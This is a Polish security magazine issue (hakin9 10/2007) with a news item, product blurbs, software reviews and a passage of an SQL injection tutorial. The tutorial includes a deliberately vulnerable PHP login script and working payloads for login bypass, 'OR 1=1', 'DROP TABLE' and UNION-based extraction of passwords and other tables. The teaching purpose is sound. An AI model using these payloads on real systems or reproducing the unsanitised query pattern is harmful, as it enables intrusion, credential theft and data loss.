tor,  Adobe  InDesign,  Adobe  Pho-
toshop,  Adobe  Premiere,  Adobe 
Reader.

Atak na Pentagon

H

akerzy przeprowadzili skutecz-
ny atak na systemy komputero-

we  amerykańskiego  ministerstwa 
obrony. Pentagon został zmuszony 
do wyłączenia części swojego sys-
temu pocztowego, przez co prawie 
półtora tysiąca pracowników straci-
ło  dostęp  do  swoich  kont  e-mailo-
wych. Zdecydowaliśmy się na wyłą-
czenie części systemu pocztowego 
OSD  w  związku  z  wykryciem  wła-
mania do naszej infrastruktury. Nasi 
specjaliści  wykonali  wszelkie  nie-
zbędne działania dotyczące zabez-
pieczenia  systemu  oraz  śladów 
włamania  –  spodziewam  się,  że 
wszystkie  systemy  wrócą  online 
już  wkrótce  –  mówił  na  konferen-
cji  prasowej  Robert  Gates,  rzecz-
nik  prasowy  Pentagonu.  Przedsta-
wiciele  Departamentu  Obrony  nie 

ujawnili  żadnych  innych  informacji 
na  temat  włamania  –  potwierdzili 
jedynie: Atak ten nie miał właściwie 
żadnego  wpływu  na  nasze  działa-
nia  –  napastnik  nie  uzyskał  dostę-
pu  do  żadnych  tajnych  informacji. 
Nasza infrastruktura informatyczna 
jest  wciąż  atakowana,  mamy  więc 
doświadczenie  w  postępowaniu  w 
takich sytuacjach.

background image

hakin9.live

hakin9 Nr 10/2007

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l)
 w wersji 4.0.2 on BackTrack2.0, za-
wierająca  przydatne  narzędzia,  dokumentację, 

tutoriale i materiały dodatkowe do artykłów. Aby zacząć 
pracę z hakin9.live, wystarczy uruchomić komputer z CD. 
Po  uruchomieniu  systemu  możemy  zalogować  sie  jako 
użytkownik hakin9 bez podawania hasła.

Materiały dodatkowe

•   Tutorial podstawy języka Python,
•   Tutorial wstęp do free Pascal.

Programy:

•   G DATA AntiVirus 2007,
•   F-secure Internet Security 2007,
•   AVG Anty-Rootkit,
•   AVG Antywirus 7.5,
•   CureIT.

G DATA AntiVirus 2007

Aktywacja  od  5  października.  G  DATA  AntiVirus  2007 
umacnia  wiodącą  pozycję  w  czołówce  programów  anty-
wirusowych  w  dziedzinie  wykrywalności  wirusów.  Dzię-
ki zoptymalizowanej technologii podwójnego skanowania 
połączonej z mechanizmem OutbreakShield, nowy anty-
wirus  wykrywa  wirusy  jeszcze  dokładniej  i  szybciej,  zu-
żywając jednocześnie znacznie mniej zasobów systemo-
wych. G DATA AntiVirus 2007 usuwa złośliwe oprogramo-
wanie typu spyware, adware, riskware, a także wirusy, tro-
jany, robaki. Gwarantuje jeszcze skuteczniejszą ochronę 
przed hakerami.

Program przeznaczony dla użytkowników wymagają-

cych, potrzebujących prostej i szybkiej ochrony kompu-
tera.  Dzięki  zastosowaniu  dwóch  silników  skanujących 
oraz  trzech  skanerów  poczty  Twoje  dane  są  w  100% 
bezpieczne. To jednak początek długiej listy zalet, doce-
nianych przez specjalistów na całym świecie.

F-secure Internet Security 2007

Zestaw  zabezpieczeń  przeznaczony  dla  użytkowni-
ków domowych i małych firm. W skład pakietu wcho-
dzą  następujące  moduły,  takie  jak:  ochrona  antywi-
rusowa,  antispyware,  firewall,  ochrona  poczty,  anti-
spam, ochrona przed intruzami IDS oraz moduły kon-
troli rodzicielskiej i kontroli aplikacji. Narzędzie chroni 
system poza standardowymi wirusami i robakami tak-
że  przed  oprogramowaniem  szpiegującym  i  rootkita-
mi,  co  zapewnia  pełną  ochronę  komputera.  W  wersji 
2007  Internet  Security  posiada  swoiste  laboratorium 

Zawartość CD

wykrywania  wirusów,  wykorzystując  technologię  De-
epGuard.

AVG Anti-Rootkit

AVG  Anti-Rootkit  jest  silnym  narzędziem  z  technologią 
state-of-art do wykrywania i usuwania rootkit'ów. Rootki-
t'y służą do ukrywania złośliwych objektów na komputerze 
takich jak trojany czy keyloggery. Jeżeli włamywacz wyko-
rzystuje technologię rootkit do tego, aby ukryć swoją obec-
ność, wtedy bardzo ciężko jest znaleźć złośliwe oprogra-
mowanie na komputerze. AVG Anti-Rootkit daje Ci możli-
wość znalezienia i usunięcia rootkita oraz zdemaskowania 
złodzieja, którego ukrywa rootkit. Interface jest przejrzysty 
i łatwy w obsłudze. Oprogramowanie zapewnia szybkie i 
efektywne wykrywanie nawet obiektów NTFS-ADS 

AVG Antywirus 7.5

Najnowsze wydanie narzędzia przeciwko wirusom firmy 
Grisoft do użytku domowego na pojedyńczym kompute-
rze. Zapewnia najwyższy poziom wykrywalności dlatego 
miliony użytkowników na świecie powierzyło bezpieczeń-
stwo swoich komputerów właśnie temu produktowi.

Poruszanie  się  po  oprogramowaniu  jest  intuicyjne 

i  proste,  samo  narzędzie  nie  potrzebuje  dużych  zaso-
bów  komputera  i  nie  zwalnia  jego  pracy.  AVG  Anti-Vi-
rus umożliwia przeprowadzanie automatycznych aktuali-
zacji, oraz zapewnia ochrone w czasie rzeczywistym po-
przez nadzorowanie dzialających programów czy otwie-
ranych plików. 

CureIT

Jest to darmowy anti-virus i anti-spyware bazujący na sil-
niku skanera Dr.Web Anti-virus, który pomoże Ci szyb-
ko przeskanować i wyleczyć komputer jeśli będzie to ko-
nieczne. Obsługuje stacje robocze wykorzystujące takie 
systemy operacyjne jak MS Windows 95OSR2/ 98/Me/
NT 4.0/2000/XP/2003Vista.

Interface  skanera  jest  przystosowywany  odpowiednio 

do wykrytego języka na danym komputerze, jeżeli lokalny 
język nie zostanie wykryty domyślnie ustawiany jest angiel-
ski. Narzędzie zawiera aktualną bazę antywirusów na czas 
pobrania, a aktualizacje są przeprowadzane, aż dwa razy 
na godzinę. Aby korzystać z najświeższej bazy wirusów na-
leży ściągnąć ostatnia wersję Dr. Web CureIt, ponieważ na-
rzędzie nie zawiera bezpośredniej aktualizacji. 

Serdeczne podziękowania dla firmy TTS Company za udostęp-
nienie programu EagleEyeOS Professional Severe w numerze 
hakin9 8/2007. http://www.oprogramowaniekomputerowe.pl

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, 

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 10/2007

www.hakin9.org

13

hakin9 Nr 10/2007

www.hakin9.org

Narzędzia

Directory  Opus  (DOpus)  to  flagowy  produkt  firmy  GPSo-
ftware.  DOpus  jest  menadżerem  plików  przeznaczonym 
pod Windows’a (także pod najnowszą Vistę). Jego pierw-
sze  wersje  powstały  na  początku  lat  dziewięćdziesiątych. 
Najnowsza  wersja  (9)  dodaje  wiele  nowych  funkcji,  przez 
co program jest lepszy. Jego układ oparty jest na panelach, 
podobnie jak Total Commandera (TC), jednak DOpus posia-
da  znacznie  większe  możliwości.  Pierwszą  bardzo  dużą 
zaletą jest podział na style, zakładki i panele. Interfejs jest 
dowolnie konfigurowalny – możemy otworzyć tyle paneli, ile 
tylko chcemy, w jakimkolwiek położeniu (horyzontalnie i wer-
tykalnie). Style natomiast są to predefiniowane układy paneli 
–  podwójny  poziomy,  pionowy,  eksplorator,  przezrocze, 
obrazy czy pojedynczy – każdy z nich posiada inne prze-
znaczenie. Korzystanie z nich to sama przyjemność, gdyż 
mamy możliwość innego prezentowania plików w zależności 
od ich zawartości (możemy także definiować własne style). 
Zakładki niczym się nie różnią od tych znanych z przegląda-
rek, jednakże możemy zapisać układ wszystkich zakładek 
w folderze ulubionych i jednym kliknięciem przywracać stan 
DOpus’a. Nie zabrakło obsługi protokołu FTP czy skompre-
sowanych plików. Bardzo przydatnym dodatkiem jest moż-
liwość wysyłania zdjęć do serwisu Flickr przy użyciu menu 
kontekstowego – opublikujemy nasze ulubione zdjęcia bez 
korzystania  z  przeglądarki.  Niestety,  jedynym  mankamen-
tem DOpus’a są skróty klawiaturowe. Jest ich bardzo dużo i 
trzeba się do nich przyzwyczaić, jednak bez większych pro-
blemów udało mi się je zmienić na te znane z TC. Doszli-
śmy  do  kolejnego  etapu  –  konfiguracji.  Ustawienia  trzeba 
liczyć w setkach (co jest zaletą). Autorzy programu posta-
nowili zamieścić wyszukiwarkę do poruszania się po usta-
wieniach. Ich modyfikowanie możemy zacząć od dźwięków, 
przez udostępnianie, aż po integrację z systemem. Po kilku 
dniach pracy z programem skorzystałem z tej ostatniej moż-
liwości i do teraz używam DOpus’a jako zamiennika Eksplo-
ratora Microsoftu. Integracja jest bezproblemowa tj. działają 
menu kontekstowe, wszystkie foldery systemowe (Mój kom-
puter, Panel sterowania, itp.), dodana jest także możliwość 
uruchamiania przez podwójne kliknięcie w dowolnym miej-
scu Pulpitu. Średnie zużycie pamięci przez DOpus’a wynosi 
ok. 40 MB, ale w dzisiejszych czasach jest to rozsądna wiel-
kość, zważywszy na możliwości, jakimi dysponuje program. 
Uruchamia  się  bardzo  szybko  (włącza  się  razem  z  syste-
mem i rezyduje w pamięci), a użytkownik nie odczuwa przy 
tym żadnego dyskomfortu. Nie można w nim odnaleźć wad 

Windowsowego menadżera plików – DOpus nie zawiesza 
się, nawet przy przeglądaniu folderów z dużą ilością zdjęć 
z miniaturkami.

Directory  Opus  jest  programem  posiadającym  same 

zalety i niemal nieograniczone możliwości, co czyni go nie-
zwykle przydatnym. Pomimo, że jest to program komercyj-
ny (po przeliczeniu kosztuje około 200zł), wart jest swojej 
ceny i mogę go polecić każdemu użytkownikowi systemów 
korporacji z Redmond.

Amadeusz Jasak

Producent: GP Software

SystemWindows 2000/XP/2003/Windows Vista

Typ: Menadżer plików

Strona producenta: http://www.gpsoft.com.au

Strona dystrybutora: http://www.oprogramowaniekomputerowe.pl

Ocena5/5

Directory Opus 9

Rysunek 2. 

Interface menadżera plików Opus9

Rysunek 1. 

Zrzut ekranu oprogramowania Opus9

background image

12

Narzędzia

hakin9 Nr 10/2007

www.hakin9.org

13

hakin9 Nr 10/2007

www.hakin9.org

Narzędzia

Każdy, kto rozpoczyna działalność gospodarczą, potrzebu-
je biznes planu, który określi opłacalność przedsięwzięcia. 
Najprostszym na to sposobem jest zbudowanie mapy myśli 
– wykresu dokładnie obrazującego wszystkie pomysły. I tu 
przychodzi nam z pomocą program MINDMAP, który świet-
nie się do tego celu nadaje.

MINDMAP 5 Professional to aplikacja pozwalająca na 

przygotowywanie prezentacji graficznych, które są pomoc-
ne przy tworzeniu różnego rodzaju projektów. Jej zaletą jest 
również to, że może zobrazować strukturę firmy, a nawet 
zadania,  które  mamy  zamiar  wykonać.  Program  pomaga 
również w rozwiązywaniu różnego rodzaju problemów czy 
też... tworzeniu drzewa genealogicznego.

Program jest idealny do przedstawiania zarówno pro-

stych,  jak  i  profesjonalnych  materiałów  edukacyjnych. 
Pasek narzędzi pozwala na zmianę struktury mapy myśli 
oraz  na  dodawanie,  usuwanie  i  edytowanie  poszczegól-
nych  jej  części.  Istnieje  także  możliwość  używania  sym-
boli,  które  pomagają  w  określeniu  tematów,  jak  również 
w  ich  zapamiętaniu.  Do  programu  można  importować 
obrazki oraz wklejać cliparty. Tworząc nowy temat można 
dodać  do  niego  komentarz,  notatkę,  a  nawet  hiperłącze. 
Jest też wiele możliwości formatowania tekstu oraz obraz-
ków, poczynając od zmiany czcionki aż po zaawansowa-
ne  metody  graficzne.  W  porządkowaniu  tego  wszystkie-
go pomaga nam drzewo, ukazujące całą strukturę mapy. 
Boczny pasek pokazuje wszystkie strony w dokumencie, 
co jest wręcz niezbędne przy edycji rozbudowanych map.. 
Bardzo przydatną funkcją jest możliwość ukrywania gałęzi 

mapy – pozwala to zaprezentować główną ideę dokumen-
tu oraz jego poszczególne podtematy. Jedną z zalet pro-
gramu  jest  to,  że  choć  dostępny  w  wersji  angielskiej,  to 
obsługuje  polskie  znaki  diakrytyczne.  Gdy  nasza  mapa 
nie mieści się na jednej stronie, istnieje możliwość rozbi-
cia jej na dwie lub więcej kart. Kolejną ciekawą funkcją pro-
gramu jest burza mózgów – pozwala ona tworzyć pomy-
sły  i  dyskutować  o  nich  w  grupie  osób.  Wystarczy  zapi-
sać swoje myśli, a program przekształci je w mapę myśli, 
którą możemy edytować, rozwijać i organizować. Pomię-
dzy poszczególnymi myślami tworzymy relacje, a następ-
nie je formatujemy. Burzę mózgów można ograniczyć cza-
sowo, ustawiając odpowiednią wartość we właściwościach 
mapy.  Aby  urozmaicić  naszą  mapę  myśli,  można  doda-
wać figury geometryczne, linie proste i krzywe oraz clipar-
ty. Profesjonalna baza clipartów, która zawiera ich aż 100, 
sprawia, że tworzenie mapy myśli staje się bardziej atrak-
cyjne,  a  sam  efekt  –  łatwiejszy  w  odbiorze.  Całą  naszą 
pracę można zapisać w postaci projektu, który zajmuje nie-
wiele miejsca na dysku, a następnie wydrukować. I tu poja-
wia się problem, ponieważ podczas próby zapisu widzimy 
komunikat informujący o błędnym działaniu programu – na 
szczęście projekt zostaje mimo to zapisany. Kolejnym pro-
blemem jest fakt, że zapisanego projektu... nie da się otwo-
rzyć, co znacznie utrudnia pracę z programem. Producent 
na swoim forum zapewnia jednak, że błąd pojawiający się 
w  wersji  5.0  jest  wyeliminowany  w  wersji  5.0.1.  Program 
MINDMAP 5 pomaga stworzyć prezentację bardziej efek-
tywną oraz przedstawić ją w bardziej interesujący sposób 
niż MS PowerPoint. Po zakończeniu pracy projekt możemy 
eksportować do prezentacji PowerPointa, pliku graficzne-
go,  a  nawet  strony  internetowej.  MINDMAP  5  Professio-
nal  zaskakuje  swoimi  możliwościami  oraz  wbudowanymi 
narzędziami. Program wart jest swojej ceny, choć nie każ-
dego będzie na niego stać. Uważam, że nadaje się on bar-
dziej dla firm niż do zastosowań domowych, ale na pewno 
pomoże  przy  nauce  nudnych  tematów.  Ciekawostką  jest 
to, że program poza systemem Windows działa również na 
platformie Mac. Po instalacji zajmuje niewiele miejsca na 
dysku (50MB). Niestety nie ma polskiej wersji językowej. 
Pomoc programu jest bardzo dobra – porusza wszystkie 
problemy związane z tworzeniem mapy, wadą jest jedynie 
język angielski. Biorąc pod uwagę jego możliwości i cenę, 
program jest wart uwagi.

Paweł Malinowski

Producent: Computer Systems Odessa

System: Windows XP

Typ: Mind Mapping

Strona producenta: http://www.conceptdraw.com

Strona dystrybutora: http://www.oprogramowaniekomputerowe.pl

Ocena: 4/5

ConceptDraw MINDMAP 5 

Professional

Rysunek 3. 

Zrzut ekranu programu MINDMAP 5 Professional

background image

www.hakin9.org

hakin9 Nr 10/2007

14

Początki

Z

acznijmy od utworzenia przykładowej ta-
beli o nazwie wwwusers, zawierającej na-
stępujące  pola: 

id

name

login

pass

.  W 

tym celu skorzystamy z narzędzia mysql monitor
które doskonale nadaje się do testowania wszel-
kich zapytań i wyłapywania błędów. Proces two-
rzenia tabeli został przedstawiony na Listingu 1.

Następnie,  zgodnie  z  Listingiem  2.  tworzy-

my prostą stronę internetową uwierzytelniającą 
użytkowników na podstawie haseł znajdujących 
się w bazie danych.

Podatność na ataki – źródło 

problemu

Przedstawiony  skrypt  PHP  używa  zapytania 

SELECT

 do wybrania rekordu zawierającego poda-

ny login i hasło. Jeśli serwer w odpowiedzi zwró-
ci przynajmniej jeden rekord, użytkownik zostanie 
zalogowany. Teoretycznie, zalogowanie bez zna-
jomości  hasła  jest  niemożliwe.  Niestety,  skrypt 
zawiera bardzo istotną lukę – dane pobierane od 
użytkownika nie są w żaden sposób filtrowane. 
Stanowią  one  część  dynamicznie  utworzonego 
zapytania,  przekazywanego  do  bazy.  Oznacza 
to, że osoba odwiedzająca stronę ma bezpośred-
ni wpływ na końcową formę zapytania! Brak lub 
niedostateczne filtrowanie danych pobranych od 

użytkownika  może  umożliwić  wstrzyknięcie  do-
datkowego kodu SQL do podstawowego zapyta-
nia. Stąd nazwa ataku – SQL Injection.

Zalogowanie bez 

znajomości hasła

Wyobraźmy sobie sytuację, w której ktoś wpro-
wadzi w polu 

Username

 wartość 

dave'-- _ 

(ostat-

ni  znak  to  spacja),  natomiast  w  polu 

Password

 

–  dowolny  ciąg  znaków,  np. 

nieznane

.  Skrypt 

po podstawieniu wartości obu pól utworzy ta-
kie oto zapytanie:

Ataki SQL Injection w 

praktyce 

Dawid Gołuński 

stopień trudności

Bazy danych są dziś nieodłączną częścią nowoczesnych 

aplikacji internetowych, takich jak sklepy internetowe czy 

serwisy aukcyjne. Język SQL, używany do komunikacji z bazą, 

choć oferuje wiele możliwości, stwarza też pewne zagrożenia. 

Wystarczy moment nieuwagi, aby pozostawione bez kontroli 

zapytanie posłużyło do przejęcia wrażliwych danych.

Z artykułu dowiesz się

•   czym są, jakie niosą zagrożenia oraz na czym 

polegają ataki SQL Injection,

•   poznasz techniki używane podczas ataku,
•   poznasz podstawowe metody obrony.

Co powinieneś wiedzieć

•   powinieneś znać podstawy języka SQL,
•   powinieneś znać podstawy administracji syste-

mem Linux oraz serwerem MySQL,

•   powinieneś znać podstawy PHP, C oraz basha.

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

15

SELECT * FROM wwwusers WHERE 
login='dave'-- ' AND pass='nieznane' 

Uwierzytelnienie przebiegnie dokład-
nie tak samo, jak w przypadku poda-
nia poprawnego hasła. Dzieje się tak 
dlatego, że dwa myślniki oznaczają w 

składni SQL komentarz, co sprawia, 
że  dalsza  część  zapytania  zostaje 
kompletnie  zignorowana  przez  ser-
wer. Otrzymujemy więc zapytanie:

SELECT * FROM wwwusers WHERE 

login='dave'

które zwróci wiersz zawierający wy-
raz 

dave

 w polu 

login

.

Zalogowanie bez 

loginu oraz hasła

Podając  w  pierwszym  polu  ciąg 

nobody' OR 1=1--

, a w drugim – podob-

nie jak poprzednio – dowolny wyraz, 
otrzymamy zapytanie:

SELECT * FROM wwwusers WHERE
login='nobody' OR 1=1
-- ' AND pass='nieznane' 

Co  można  przetłumaczyć  jako  po-
każ wszystkie rekordy, w których pole 

login

 jest równe wyrazowi 

nobody

 al-

bo 

1=1

. Drugie wyrażenie (

1=1

) jest za-

wsze prawdziwe dlatego mimo, że w 
bazie nie ma użytkownika 

nobody

, do-

pasowane zostaną wszystkie rekordy 
zawarte w tabeli. W efekcie użytkow-
nik zostanie zalogowany.

Przechwycenie haseł 

Skrypt  odczytuje  jedynie  pierwszy 
rekord  zwrócony  przez  serwer.  Dla-
tego  stosując  operator 

OR

  zobaczy-

my  dane  tylko  pierwszego  użytkow-
nika. Aby zmusić skrypt do wyświe-
tlenia kolejnych rekordów, zastosuje-
my kolejny operator – 

LIMIT

, którego 

wywołanie ma postać:

LIMIT {[offset,] row_count}

gdzie 

offset

 to przesunięcie określa-

jące,  ile  początkowych  wierszy  na-
leży  pominąć,  a 

row _ count

  to  ilość 

wierszy,  którą  chcemy  otrzymać. 
Dodając  do  poprzedniego  zapytania 
ciąg 

LIMIT  1,1

  zostaniemy  zalogo-

wani  jako  kolejny,  znajdujący  się  na 
drugim  miejscu  tabeli  –  użytkownik 

john _ usr

.  Zwiększając  dalej 

offset

 

dojdziemy do hasła administratora.

Ograniczenia

Dotychczas  wstrzykiwany  kod  stano-
wił  jedynie  parametry  dla  polecenia 

SELECT

.  Powstaje  pytanie,  czy  istnieje 

szansa na wykonanie kolejnego – nie-
zależnego od pierwszego – polecenia 
w ramach jednego zapytania? Do roz-
dzielania komend służy znak średnika. 
Po wprowadzeniu podczas logowania 
ciągu 

'; DROP TABLE wwwusers--

, koń-

Listing 1. 

Budowa tabeli wwwusers

mysql> 

CREATE TABLE

 wwwusers

>

(

id int, name char

(

25

)

, login char

(

25

)

, pass char

(

25

))

;

mysql> 

INSERT

 

INTO

 wwwusers 

VALUES

(

'1'

'Dave'

'dave'

'secretDBpass'

)

;

mysql> 

INSERT

 

INTO

 wwwusers 

VALUES

(

'2'

'John'

'john_usr'

'johnpassword'

)

;

mysql> 

INSERT

 

INTO

 wwwusers 

VALUES

(

'3'

'Paul'

,

'admin'

,

'pass-www'

)

;

mysql> 

SELECT

 * 

FROM

  wwwusers;

+

------+-------+----------+--------------+

| id   | name  | login    | pass         |
+

------+-------+----------+--------------+

|    1 | Dave  | dave     | secretDBpass | 
|    2 | John  | john_usr | johnpassword | 
|    3 | Paul  | admin    | admin-www    | 
+

------+-------+----------+--------------+

3 rows 

in

 

set

 

(

0.00 sec

)

Listing 2. 

Strona login.php

<

HTML

>

<

BODY

>

<

FORM name=

"log_form"

 

method=

"POST"

>

   Username: 

<

INPUT type=

"edit"

 

name=

"user"

>

   Password: 

<

INPUT type=

"edit"

 

name=

"pass"

>

<

INPUT type=

"submit"

 

value=

"log in"

>

<

/FORM

>

<?

php

   

if

 

(

 

isset

(

$_POST

[

'user'

])

 && 

isset

(

$_POST

[

'pass'

])

 

){

      

$user

 = 

$_POST

[

'user'

]

;

      

$pass

 = 

$_POST

[

'pass'

]

;

   

}

 

else

 

die

(

"Nie przeslano danych"

)

;

   

$conn

 = 

mysql_connect

(

"localhost"

,

"user"

,

"pass"

)

 

or

      

die

(

"Brak polaczenia z baza"

)

;

   

mysql_select_db

(

"baza_danych"

)

 

or

      

die

(

"Nie ma takiej bazy"

)

;

   

/* Utworzenie zapytania w oparciu o przekazane wartosci */

   

$query

 = "SELECT * FROM wwwusers WHERE login=

'$user'

 

AND

 pass=

'$pass'";

   echo "

<

br

>

Zapytanie wyslane 

do

 bazy:

<

br

>

" . 

$query

 . "

<

br

>

";

   

/* Przeslanie zapytania do bazy */

   

$res

 = 

mysql_query

(

$query

)

;

   

if

 

(

!

$res

)

 

echo

 "

<

br

>

" . mysql_error() . "

<

br

>

";

   

$record

 = 

mysql_fetch_row

(

$res

)

;

   

/* Jesli serwer znalazl rekord to uzytkownik zostaje zalogowany*/

   

if

 

(

$record

)

 

{

      

echo

 "

<

br

>

Hello 

<

b

>

$record[2]

<

/b

>

! Oto twoje dane: 

<

br

><

br

>

";

      echo "

<

TABLE border=1

><

tr

>

";

      echo "

<

td

>

ID

<

/td

>

        

<

td

>

$record

[

0

]<

/td

><

/tr

>

";

      echo "

<

tr

><

td

>

Name

<

/td

>

  

<

td

>

$record

[

1

]<

/td

>

";

      echo "

<

tr

><

td

>

Login

<

/td

>

 

<

td

>

$record

[

2

]<

/td

>

";

      echo "

<

tr

><

td

>

Pass

<

/td

>

  

<

td

>

$record

[

3

]<

/td

><

/tr

><

/TABLE

>

";

   } else echo "

<

br

><

b

>

Podales zle haslo, lub login

<

/b

>

";

?>
<

/BODY

>

<

/HTML

>

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

16

cowe zapytanie będzie wyglądało tak:

SELECT * FROM wwwusers WHERE
login='';DROP TABLE wwwusers

Zamiast spodziewanego efektu (skaso-
wanie tabeli) otrzymamy jednak błąd:

You have an error in your SQL syntax;
check the manual that corresponds to 
your MySQL server version for 
the right syntax to use 
near ';DROP

Spowodowane jest to tym, że funkcja 

mysql _ query()

  nie  pozwala  wykonać 

dwóch  rozłącznych  zapytań  w  cza-
sie  jednego  wywołania.  Ogranicza  to 
znacznie zakres ataku - nawet w przy-
padku  całkowitego  braku  kontroli  da-
nych wejściowych. Mimo to, z pomocą 
operatora 

UNION

, istnieje możliwość wy-

konania dodatkowych instrukcji 

SELECT

.

Pobieranie informacji z 

innych tabel

Obok tabeli wwwusers tworzymy ta-
belę contact - zgodnie z Listingiem 4.

Aby  wydobyć  z  niej  informacje, 

posłużymy  się  operatorem 

UNION

Wpisując w formularzu:

nic' UNION SELECT name,number
FROM contact--

otrzymamy błąd:

The used SELECT statements have a
 different number of columns

Należy tu zauważyć, że pierwszy (za-
warty w skrypcie PHP) 

SELECT

 wybie-

ra wszystkie cztery pola (symbol 

*

) ta-

beli wwwusers, natomiast drugi – tylko 
dwa.  Problem  można  rozwiązać  po-
przez wstawienie dowolnych wartości 
liczbowych w miejsce brakujących pól. 
Po wstawieniu liczb 1 i 2 końcowe za-
pytanie będzie wyglądało tak:

SELECT * FROM wwwusers WHERE
login='nic' UNION 
SELECT 1, 2, name, number FROM contact

Jest  ono  jak  najbardziej  poprawne  i 
da w wyniku wszystkie rekordy tabeli 
contact. Wynik nie zawiera rekordów 
z tabeli wwwusers, ponieważ żaden z 
nich nie został dopasowany (login 

nic

 

nie istnieje).

Przebieg ataku 

na bazę danych

Jeżeli atakujący nie posiada konta na 
serwerze,  a  wynik  skanowania  por-
tów nie przyniósł rezultatów, kolejnym 
krokiem w przełamaniu zabezpieczeń 
serwera może być przeszukanie strony 
WWW pod kątem błędów PHP/SQL. 

Gdzie wstrzyknąć kod?

Na atak narażone są wszelkie miejsca 
kontaktu  użytkownik-skrypt,  na  które 

odwiedzający stronę ma wpływ (mo-
że  je  modyfikować).  Są  to  w  szcze-
gólności: 

•   wszelkiego typu pola edycyjne,
•   parametry  przekazywane  w  ad-

resie URL,

•   ciasteczka (cookies),
•   ukryte pola formularzy,
•   rozwijane listy wyboru,
•   pola wyboru (checkboxradio).

W  przypadku  słabo  zabezpieczo-
nych  stron  internetowych  zwykle 
udaje  się  odnaleźć  niefiltrowaną 
zmienną  wśród  parametrów  adre-
su URL. Mając do czynienia z lepiej 
zabezpieczonymi  witrynami,  war-
to  sprawdzić  mniej  oczywiste  miej-
sca, jak np. listy wyboru. Programi-
ści  często  mylnie  zakładają  tu,  że 
użytkownik  posiada  wybór  ograni-
czony  jedynie  do  elementów  rozwi-
janej  listy.  Nic  nie  stoi  przecież  na 
przeszkodzie, aby stronę HTML za-
wierającą formularz z taką listą zapi-
sać na dysku, a następnie zmodyfi-
kować jedną z jej pozycji.

Czasem poszukiwania, ze wzglę-

du  na  dużą  ilość  potencjalnie  niefil-
trowanych miejsc, wymagają nawią-
zania  sporej  ilości  połączeń  z  ser-
werem  WWW.  Takie  próby  zostają 
odnotowane  w  logach.  Dlatego  ata-
ki  przeprowadzane  są  zwykle  przy 
użyciu  serwerów  pośredniczących 
(proxy).

Serwer SQL

Aby klient mógł przeprowadzić jakąkol-
wiek  operację  na  bazie  danych,  musi 
istnieć  serwer  SQL.  Rolą  serwera  jest 
przyjmowanie zapytań od klientów, wy-
konywanie  żądanych  operacji  na  bazie 
oraz  przedstawianie  wyników.  Serwer 
bazy danych zarządza również użytkow-
nikami i uprawnieniami. Do bardziej zna-
nych  serwerów  należą:  MySQL,  Post-
greSQL,  MsSQL,  Oracle.  W  tym  arty-
kule skoncentrowano się głównie na ser-
werze MySQL, który jest jednym z naj-
popularniejszych – ze względu na szyb-
kość działania, otwartość kodu i przeno-
śność. Wiele opisanych technik powinno 
znaleźć  zastosowanie  również  w  przy-
padku innych serwerów baz danych.

Rysunek 1. 

Wpływ danych wejściowych na końcowe zapytanie

������������

�������

������������

��������

���������������������������������������������������������������

��������������������������������������

��������

��

����������

��

��������

Rysunek 2. 

Oszukanie skryptu login.php przy pomocy operatora OR 

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

17

Serwer zwraca błąd

W  zależności  od  tego,  gdzie  trafi 
wstrzyknięty kod, komunikat błędu mo-
że informować o nieprawidłowej skład-
ni,  nieistniejącej  nazwie  pola,  błęd-
nej wartości dla pola danego typu itp. 
Przypuśćmy,  że  zmieniając  parametr 

c

 w adresie http://page-with-bug.com/

shop/index.php?pid=1&c=2 na 

c=abc2

 

serwer zwrócił błąd:

Unknown column 'abc2' in 'where clause'

W takim przypadku można domyślić 
się,  że  gdzieś  w  pliku  index.php  ist-
nieje  funkcja  konstruująca  zapytanie 
podobne do:

SELECT * FROM produkty_tab WHERE 
c=$_GET['c']

Odczytana z tablicy 

GET

 zmienna 

c

 nie 

jest ograniczona apostrofami, ponie-
waż programista nie przewidział wy-
stąpienia w tym miejscu wartości in-

nej niż liczbowa. Dlatego wstawienie 
ciągu  znaków 

abc2

  sprawia,  że  ser-

wer próbuje odwołać się do tej warto-
ści jak do nazwy pola, które – jak wy-
nika z komunikatu – nie istnieje. 

Pierwszy zastrzyk

Wiedząc, że zmienna 

c

 musi być licz-

bą i nie jest ograniczona apostrofami, 
można  spróbować  wykorzystać  ope-
rator 

UNION

  w  celu  wstrzyknięcia  do-

datkowego polecenia. Przypisanie 

c=2 

UNION SELECT 1--

 utworzy zapytanie:

SELECT * FROM produkty_tab WHERE c=2 
UNION SELECT 1--

Jeżeli skrypt nie dokona filtracji kodu, 
a tabela produkty_tab okaże się za-
wierać większą liczbę kolumn – ser-
wer zwróci błąd:

The used SELECT statements have a
 different number of columns

Liczba  kolumn  może  zostać  ustalo-
na  poprzez  kolejne  wstawianie  cyfr 
po przecinkach, do momentu aż ser-
wer nie wyświetli błędu:

c=2 UNION SELECT 1,2--
c=2 UNION SELECT 1,2,3--
...

Niektóre tabele mogą zawierać dzie-
siątki kolumn, dlatego ustalenie wła-
ściwej  liczby  może  zająć  sporo  cza-
su.  Nasze  zadanie  może  jednak  zo-
stać w pełni zautomatyzowane skryp-
tem z Listingu 6.

Po przesłaniu zapytania z właści-

wą liczbą kolumn na stronie powinny 
ukazać się wybrane cyfry. Jeżeli ich 
nie widać, atakowany skrypt najpew-
niej wyświetla tylko pierwszy rekord. 
Można temu zaradzić dodając opera-
tor 

LIMIT  0

,  który  usunie  wynik  uzy-

skany z pierwszego polecenia 

SELECT

Where are we, czyli 

rekonesans

Po nawiązaniu komunikacji z bazą moż-
na  przystąpić  do  rozpoznawania  śro-
dowiska,  w  jakim  pracuje  atakowany 
skrypt. Chcąc dowiedzieć się, na jakim 
koncie serwera SQL pracuje skrypt, wy-
starczy skorzystać z wbudowanej funk-

Parę słów o UNION 

UNION

 jest operatorem pozwalającym scalić ze sobą wyniki dwóch lub większej ilo-

ści zapytań 

SELECT

. Zrozumienie istoty jego działania jest niezmiernie ważne, gdyż 

stanowi podstawę większości ataków. Wstrzyknięty kod z reguły trafia na koniec 
zapytania dynamicznie utworzonego przez skrypt PHP. Atakujący nie ma możliwo-
ści zmiany zdefiniowanego na jego początku polecenia SQL, ani też dodania nowe-
